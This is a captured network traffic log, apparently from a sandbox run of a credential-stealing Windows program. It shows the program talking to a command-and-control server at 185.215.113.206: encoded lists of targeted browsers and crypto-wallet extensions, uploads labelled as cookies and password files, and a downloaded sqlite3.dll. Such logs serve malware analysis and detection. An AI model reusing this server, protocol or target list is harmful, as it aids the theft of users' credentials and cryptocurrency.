62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 26, 2024 22:52:18.112755060 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 26, 2024 22:52:18.115287066 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIIEHJKKECGCBFIIJDA Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 32 39 62 33 36 35 37 35 35 37 39 63 36 34 37 38 61 37 39 65 62 37 61 61 35 31 63 34 38 39 30 37 62 61 32 33 63 33 34 31 34 61 65 34 61 30 64 65 35 37 37 33 64 33 62 39 34 63 62 61 39 38 30 34 33 34 62 61 31 36 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 2d 2d 0d 0a Data Ascii: ------FHIIEHJKKECGCBFIIJDAContent-Disposition: form-data; name="token"a529b36575579c6478a79eb7aa51c48907ba23c3414ae4a0de5773d3b94cba980434ba16------FHIIEHJKKECGCBFIIJDAContent-Disposition: form-data; name="message"plugins------FHIIEHJKKECGCBFIIJDA--
Nov 26, 2024 22:52:18.747183084 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:18 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 26, 2024 22:52:18.747226000 CET	124	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1k
Nov 26, 2024 22:52:18.747282982 CET	1236	IN	Data Raw: 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 77 78 66 44 42 38 4d 48 78 54 62 32 Data Ascii: cG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2F
Nov 26, 2024 22:52:18.747339964 CET	1236	IN	Data Raw: 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 Data Ascii: U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWN
Nov 26, 2024 22:52:18.747375965 CET	1236	IN	Data Raw: 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d Data Ascii: cGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFR
Nov 26, 2024 22:52:18.747410059 CET	372	IN	Data Raw: 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 77 78 66 44 42 38 4d 48 78 61 62 32 Data Ascii: a2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnB
Nov 26, 2024 22:52:18.747443914 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 76 63 47 5a 6e 5a 57 78 74 59 32 31 69 61 57 46 71 59 57 31 6c 63 47 35 74 62 47 39 70 61 6d 4a 77 62 32 78 6c 61 57 46 74 59 58 77 78 66 44 42 38 4d 48 78 4f 61 57 64 6f 64 47 78 35 49 46 64 68 62 47 78 6c 64 48 Data Ascii: IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXB
Nov 26, 2024 22:52:18.747478962 CET	668	IN	Data Raw: 62 57 68 68 5a 6e 77 78 66 44 42 38 4d 48 78 4e 59 57 64 70 59 79 42 46 5a 47 56 75 49 46 64 68 62 47 78 6c 64 48 78 74 61 33 42 6c 5a 32 70 72 59 6d 78 72 61 32 56 6d 59 57 4e 6d 62 6d 31 72 59 57 70 6a 61 6d 31 68 59 6d 6c 71 61 47 4e 73 5a 33 Data Ascii: bWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGV
Nov 26, 2024 22:52:18.749747992 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEHIDAKECFIEBGDHJEBK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 32 39 62 33 36 35 37 35 35 37 39 63 36 34 37 38 61 37 39 65 62 37 61 61 35 31 63 34 38 39 30 37 62 61 32 33 63 33 34 31 34 61 65 34 61 30 64 65 35 37 37 33 64 33 62 39 34 63 62 61 39 38 30 34 33 34 62 61 31 36 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 2d 2d 0d 0a Data Ascii: ------AEHIDAKECFIEBGDHJEBKContent-Disposition: form-data; name="token"a529b36575579c6478a79eb7aa51c48907ba23c3414ae4a0de5773d3b94cba980434ba16------AEHIDAKECFIEBGDHJEBKContent-Disposition: form-data; name="message"fplugins------AEHIDAKECFIEBGDHJEBK--
Nov 26, 2024 22:52:18.854562044 CET	668	IN	Data Raw: 62 57 68 68 5a 6e 77 78 66 44 42 38 4d 48 78 4e 59 57 64 70 59 79 42 46 5a 47 56 75 49 46 64 68 62 47 78 6c 64 48 78 74 61 33 42 6c 5a 32 70 72 59 6d 78 72 61 32 56 6d 59 57 4e 6d 62 6d 31 72 59 57 70 6a 61 6d 31 68 59 6d 6c 71 61 47 4e 73 5a 33 Data Ascii: bWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGV
Nov 26, 2024 22:52:19.213068962 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:18 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 26, 2024 22:52:19.654752016 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHJJEGHIIDAFIDHJDHJE Host: 185.215.113.206 Content-Length: 6659 Connection: Keep-Alive Cache-Control: no-cache
Nov 26, 2024 22:52:19.654809952 CET	6659	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 4a 45 47 48 49 49 44 41 46 49 44 48 4a 44 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 32 39 62 33 Data Ascii: ------DHJJEGHIIDAFIDHJDHJEContent-Disposition: form-data; name="token"a529b36575579c6478a79eb7aa51c48907ba23c3414ae4a0de5773d3b94cba980434ba16------DHJJEGHIIDAFIDHJDHJEContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 26, 2024 22:52:20.757101059 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 22:52:21.085489035 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 22:52:21.546935081 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:21 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49766	185.215.113.206	80	7284	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 22:52:30.956716061 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIEGDBKJKEBGCBAFCF Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 32 39 62 33 36 35 37 35 35 37 39 63 36 34 37 38 61 37 39 65 62 37 61 61 35 31 63 34 38 39 30 37 62 61 32 33 63 33 34 31 34 61 65 34 61 30 64 65 35 37 37 33 64 33 62 39 34 63 62 61 39 38 30 34 33 34 62 61 31 36 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------HIIIEGDBKJKEBGCBAFCFContent-Disposition: form-data; name="token"a529b36575579c6478a79eb7aa51c48907ba23c3414ae4a0de5773d3b94cba980434ba16------HIIIEGDBKJKEBGCBAFCFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------HIIIEGDBKJKEBGCBAFCFContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HIIIEGDBKJKEBGCBAFCF--
Nov 26, 2024 22:52:32.853925943 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 22:52:33.078593016 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJDGCAEBFIIECAKFHIJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 32 39 62 33 36 35 37 35 35 37 39 63 36 34 37 38 61 37 39 65 62 37 61 61 35 31 63 34 38 39 30 37 62 61 32 33 63 33 34 31 34 61 65 34 61 30 64 65 35 37 37 33 64 33 62 39 34 63 62 61 39 38 30 34 33 34 62 61 31 36 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GIJDGCAEBFIIECAKFHIJContent-Disposition: form-data; name="token"a529b36575579c6478a79eb7aa51c48907ba23c3414ae4a0de5773d3b94cba980434ba16------GIJDGCAEBFIIECAKFHIJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GIJDGCAEBFIIECAKFHIJContent-Disposition: form-data; name="file"------GIJDGCAEBFIIECAKFHIJ--
Nov 26, 2024 22:52:34.032957077 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49801	185.215.113.206	80	7284	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 22:52:40.076265097 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIEBAKEHDHCAKEBFBKEG Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 26, 2024 22:52:40.076265097 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 49 45 42 41 4b 45 48 44 48 43 41 4b 45 42 46 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 32 39 62 33 Data Ascii: ------HIEBAKEHDHCAKEBFBKEGContent-Disposition: form-data; name="token"a529b36575579c6478a79eb7aa51c48907ba23c3414ae4a0de5773d3b94cba980434ba16------HIEBAKEHDHCAKEBFBKEGContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 26, 2024 22:52:41.901472092 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
